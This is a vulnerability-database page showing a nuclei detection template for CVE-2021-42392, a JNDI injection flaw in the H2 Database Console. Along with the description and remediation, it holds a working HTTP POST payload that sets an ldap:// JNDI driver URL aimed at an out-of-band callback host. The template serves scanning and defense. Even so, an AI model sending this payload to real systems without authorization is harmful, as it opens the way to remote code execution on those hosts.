Lucene search
+L

H2 Database Console - JNDI Injection RCE

🗓️ 18 Sep 2026 06:21:29Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 4 Views

H2 Database Console JNDI injection before 2.0.206 / 1.4.198 enables unauthenticated RCE.

Related
Refs
Code
id: CVE-2021-42392

info:
  name: H2 Database Console - JNDI Injection RCE
  author: i-am-paradox
  severity: critical
  description: |
    The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution via the H2 web console (versions before 2.0.206 / 1.4.198 with the console enabled).
  impact: |
    An unauthenticated attacker can trigger an outbound JNDI lookup to a server they control, leading to remote code execution on the host running the H2 web console.
  remediation: |
    Upgrade H2 database to version 2.0.206 or later, and disable the web console (spring.h2.console.enabled=false) or restrict access to it.
  reference:
    - https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
    - https://github.com/advisories/GHSA-h376-j262-vhq6
    - https://github.com/h2database/h2database/commit/b24aa46f48904ce64443f8f4353d70a2eed09037
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42392
    - https://github.com/vulhub/vulhub/tree/master/h2database/CVE-2021-42392
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42392
    cwe-id: CWE-502
    cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: h2database
    product: h2
  tags: cve,cve2021,h2database,jndi,rce,oast,java,kev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /test.do?jsessionid={{jsessionid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        driver=javax.naming.InitialContext&url=ldap://{{randstr}}.{{interactsh-url}}&user=&password=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

    extractors:
      - type: regex
        name: jsessionid
        group: 1
        regex:
          - 'jsessionid=([0-9a-zA-Z-]+)'
        internal: true
# digest: 4a0a004730450220730f12733d2463f5fd212bbafe4ff25e0db88ce79fc59537a7a67117f2982e51022100a32eedc9b443c9340b4a9a56d8c975153073cc47d6d51480c80bc2f2561002c4:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Sep 2026 06:21Current
CVSS 3.19.8
CVSS 210
EPSS0.63211
4